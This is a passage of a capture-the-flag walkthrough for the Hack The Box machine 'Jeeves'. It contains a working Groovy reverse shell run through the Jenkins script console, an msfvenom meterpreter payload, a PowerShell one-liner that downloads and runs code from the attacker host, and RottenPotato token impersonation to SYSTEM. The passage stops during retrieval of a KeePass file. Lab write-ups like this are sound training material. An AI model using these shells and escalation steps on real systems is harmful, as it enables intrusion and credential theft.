&lt;p&gt;You can write scripts in the &lt;code class=&quot;highlighter-rouge&quot;&gt;Groovy Scripting Language&lt;/code&gt;. I searched for &lt;code class=&quot;highlighter-rouge&quot;&gt;groovy script run command example&lt;/code&gt; or if you just want to skip straight to the shell search &lt;code class=&quot;highlighter-rouge&quot;&gt;groovy script reverse shell&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Testing to see if we have code execution…&lt;/p&gt;

&lt;div class=&quot;language-groovy highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;StringBuffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;serr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;StringBuffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'powershell.exe $PSVERSIONTABLE'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;consumeProcessOutput&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;serr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;waitForOrKill&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;out&amp;gt; $sout err&amp;gt; $serr&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Output:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/1o04hYr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We confirmed that we have code execution. Now lets shell it.&lt;/p&gt;

&lt;p&gt;From my search of  &lt;code class=&quot;highlighter-rouge&quot;&gt;groovy script reverse shell&lt;/code&gt;, I came across this &lt;a href=&quot;https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76&quot;&gt;Github gist&lt;/a&gt;
– change the &lt;code class=&quot;highlighter-rouge&quot;&gt;host&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;port&lt;/code&gt; parameter to match your settings, and hit “Run” in the script console &amp;amp; you will get a reverse shell.&lt;/p&gt;

&lt;div class=&quot;language-groovy highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;10.10.15.30&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8282&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cmd.exe&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Process&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ProcessBuilder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;redirectErrorStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Socket&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InputStream&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getInputStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pe&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getErrorStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;si&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getInputStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OutputStream&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;po&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getOutputStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;so&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getOutputStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isClosed&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;available&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&amp;gt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;so&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pe&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;available&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&amp;gt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;so&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pe&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;si&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;available&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&amp;gt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;po&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;si&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;so&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;po&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exitValue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;){}};&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;destroy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Getting Reverse shell via Jenkins Script Console&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/jeeves# ncat -lnvp 8282
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8282
Ncat: Listening on 0.0.0.0:8282
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49723.
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins&amp;gt;whoami /all
whoami /all

USER INFORMATION
----------------

User Name      SID
============== ===========================================
jeeves\kohsuke S-1-5-21-2851396806-8246019-2289784878-1001


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

ERROR: Unable to get user claims information.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;method-2-build-job-exec-command&quot;&gt;Method 2: Build Job Exec Command&lt;/h4&gt;

&lt;p&gt;With Jenkins you can execute system commands as part of a deployment build job. The Jenkins server allowed anyone to do anything even to the anonymous user which means we can create a malicious deployment  &amp;amp; execute our code.&lt;/p&gt;

&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Create new Build Job (&lt;code class=&quot;highlighter-rouge&quot;&gt;http://10.10.10.63:50000/askjeeves/view/all/newJob&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Select “FreeStyle Project’&lt;/li&gt;
  &lt;li&gt;Hit Ok&lt;/li&gt;
  &lt;li&gt;Select “Build Enviroment”&lt;/li&gt;
  &lt;li&gt;Generate payload / put the code you want to execute as a build step&lt;/li&gt;
  &lt;li&gt;Hit Apply&lt;/li&gt;
  &lt;li&gt;Start Build&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can run any system commands you want in the predeployment step, I used a &lt;code class=&quot;highlighter-rouge&quot;&gt;msfvenom&lt;/code&gt; payload just to validate that it’s possible.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@dastinia:~# &lt;/span&gt;msfvenom -p windows/meterpreter/reverse_http &lt;span class=&quot;nv&quot;&gt;LHOST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;10.10.15.30 &lt;span class=&quot;nv&quot;&gt;LPORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;8081 -f psh-cmd &amp;gt; 8081.cmd
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 588 bytes
Final size of psh-cmd file: 7111 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/sbVHY7I.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hit Save &amp;amp; Apply&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD =&amp;gt; windows/meterpreter/reverse_http
msf exploit(multi/handler) &amp;gt; set LPORT 8081
LPORT =&amp;gt; 8081
msf exploit(multi/handler) &amp;gt; exploit -j
[*] Exploit running as background job 2.

[*] Started HTTP reverse handler on http://10.10.15.30:8081
msf exploit(multi/handler) &amp;gt; jobs

Jobs
====

  Id  Name                    Payload                           Payload opts
  --  ----                    -------                           ------------
  1   Exploit: multi/handler  windows/meterpreter/reverse_tcp   tcp://10.10.15.30:8383
  2   Exploit: multi/handler  windows/meterpreter/reverse_http  http://10.10.15.30:8081

msf exploit(multi/handler) &amp;gt;
[*] http://10.10.15.30:8081 handling request from 10.10.10.63; (UUID: mwj6ua5f) Staging x86 payload (180825 bytes) ...
[*] Meterpreter session 2 opened (10.10.15.30:8081 -&amp;gt; 10.10.10.63:49761) at 2018-05-16 15:14:13 -0400
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The session may die rapidly, so you may want to make it automigrate, but I prefer the groovy script method since it’s easier. This just validates that you can do it this way if you choose.&lt;/p&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;p&gt;Lets run the results of the &lt;code class=&quot;highlighter-rouge&quot;&gt;systeminfo&lt;/code&gt; command through GDSSecurity &lt;a href=&quot;https://github.com/GDSSecurity/Windows-Exploit-Suggester&quot;&gt;Windows Exploit Suggester&lt;/a&gt;,and see if there are any potential exploits/LPE’s we can utilize. This is usually one of the first steps I take when I get on a windows box because you can very quickly determine if you have a path to esclatate your privileges through an exploit, or if you have to discover another way.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\kohsuke\Desktop&amp;gt;systeminfo

Host Name:                 JEEVES
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.10586 N/A Build 10586
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00331-20304-47406-AA297
Original Install Date:     10/25/2017, 4:45:33 PM
System Boot Time:          5/16/2018, 2:45:50 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2100 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.0.B64.1704110547, 4/11/2017
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US &amp;amp; Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 873 MB
Virtual Memory: Max Size:  2,687 MB
Virtual Memory: Available: 1,293 MB
Virtual Memory: In Use:    1,394 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 10 Hotfix(s) Installed.
                           [01]: KB3150513
                           [02]: KB3161102
                           [03]: KB3172729
                           [04]: KB3173428
                           [05]: KB4021702
                           [06]: KB4022633
                           [07]: KB4033631
                           [08]: KB4035632
                           [09]: KB4051613
                           [10]: KB4041689
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.63
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/fu0dA0L.png&quot; alt=&quot;Windows Exploit Suggester Output&quot; title=&quot;Windows Exploit Suggester Results&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It looks like this machine is vulnerable two a few LPE exploits the big ones being &lt;a href=&quot;https://github.com/foxglovesec/RottenPotato&quot;&gt;MS16-075 (RottenPotato)&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc&quot;&gt;MS16-032&lt;/a&gt;. From our &lt;code class=&quot;highlighter-rouge&quot;&gt;sysinfo&lt;/code&gt; output we can rule out &lt;code class=&quot;highlighter-rouge&quot;&gt;MS16-032&lt;/code&gt; because that particular exploit requires &lt;code class=&quot;highlighter-rouge&quot;&gt;two cpu(s)&lt;/code&gt;, and this machine has only &lt;code class=&quot;highlighter-rouge&quot;&gt;one cpu.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It looks like this machine is vulnerable to MS16-075 (which I would say is fairly reliable when available), and from our eariler &lt;code class=&quot;highlighter-rouge&quot;&gt;whoami /all&lt;/code&gt; command it seems we have everything in place to successfully execute this exploit.&lt;/p&gt;

&lt;h3 id=&quot;method-1-ms16-075-rottenpotato&quot;&gt;Method 1: MS16-075 “RottenPotato”&lt;/h3&gt;

&lt;p&gt;The steps to successfully exploit MS16-075 “rotten potato” (with meterpreter) is:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Have meterpreter shell&lt;/li&gt;
  &lt;li&gt;Upload RottenPotato/potato exploit executeable&lt;/li&gt;
  &lt;li&gt;Load ignognito on meterpreter session&lt;/li&gt;
  &lt;li&gt;Execute rottenpotato executable&lt;/li&gt;
  &lt;li&gt;Impersonate NT Authority/SYSTEM token&lt;/li&gt;
  &lt;li&gt;You are now system.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Powershell 1-liner for download + executing file (getting meterpreter shell):&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;powershell -exec bypass -c &lt;span class=&quot;s2&quot;&gt;&quot;(New-Object Net.WebClient).DownloadFile('http://10.10.15.30:9999/8383.exe','8383.exe')&quot;&lt;/span&gt;;&lt;span class=&quot;nb&quot;&gt;Start&lt;/span&gt;-Process &lt;span class=&quot;s1&quot;&gt;'8383.exe'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;On Jeeves Host&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Administrator\.jenkins&amp;gt;cd %appdata%

C:\Users\kohsuke\AppData\Roaming&amp;gt;powershell -exec bypass -c &quot;(New-Object Net.WebClient).DownloadFile('http://10.10.15.30:9999/8383.exe','8383.exe')&quot;;Start-Process '8383.exe'

C:\Users\kohsuke\AppData\Roaming&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Attack Box&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt;
[*] Sending stage (179779 bytes) to 10.10.10.63
[*] Meterpreter session 4 opened (10.10.15.30:8383 -&amp;gt; 10.10.10.63:49682) at 2018-05-16 17:07:54 -0400

msf &amp;gt;
msf &amp;gt; sessions

Active sessions
===============
  Id  Name  Type                    Information              Connection  
  --  ----  ----                     -----------              ----------  
  2         meterpreter x86/windows                           10.10.15.30:8081 -&amp;gt; 10.10.10.63:49761 (10.10.10.63)  
  4         meterpreter x86/windows  JEEVES\kohsuke @ JEEVES  10.10.15.30:8383 -&amp;gt; 10.10.10.63:49682 (10.10.10.63)

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Completing the required steps for the exploit&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;meterpreter &amp;gt; upload /opt/serve/windows/priv/rottenpotato.exe
[*] uploading  : /opt/serve/windows/priv/rottenpotato.exe -&amp;gt; rottenpotato.exe
[*] Uploaded 664.00 KiB of 664.00 KiB (100.0%): /opt/serve/windows/priv/rottenpotato.exe -&amp;gt; rottenpotato.exe
[*] uploaded   : /opt/serve/windows/priv/rottenpotato.exe -&amp;gt; rottenpotato.exe
meterpreter &amp;gt; getuid
Server username: JEEVES\kohsuke
meterpreter &amp;gt; getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter &amp;gt; load incognito
Loading extension incognito...Success.
meterpreter &amp;gt; list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
JEEVES\kohsuke

Impersonation Tokens Available
========================================
No tokens available

meterpreter &amp;gt; execute -cH -f rottenpotato.exe
Process 3620 created.
Channel 2 created.
meterpreter &amp;gt; list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
JEEVES\kohsuke

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM

meterpreter &amp;gt; impersonate_token &quot;NT AUTHORITY\SYSTEM&quot;
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

meterpreter &amp;gt; getuid
Server username: NT AUTHORITY\SYSTEM
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;method-2-crack-keepass-database-to-pass-the-hash&quot;&gt;Method 2: Crack Keepass Database to Pass-the-hash&lt;/h3&gt;

&lt;p&gt;If you searched through the user &lt;code class=&quot;highlighter-rouge&quot;&gt;kohsuke&lt;/code&gt; documents directory you would discover a file called &lt;code class=&quot;highlighter-rouge&quot;&gt;CEH.kbdx&lt;/code&gt;. Normally the &lt;code class=&quot;highlighter-rouge&quot;&gt;.kbdx&lt;/code&gt; file extension is associated with the &lt;a href=&quot;https://keepass.info/&quot;&gt;KeePass Password Safe&lt;/a&gt;. If we can crack the password on this vault file, we will likely find credentials to potentially the local administrator account.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Downloading the Keepass Database file with meterpreter&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;meterpreter &amp;gt; cd Documents
meterpreter &amp;gt; dir
Listing: C:\Users\kohsuke\Documents
===================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  2846  fil   2017-09-18 13:43:17 -0400  CEH.kdbx
40777/rwxrwxrwx   0     dir   2017-11-03 22:50:40 -0400  My Music
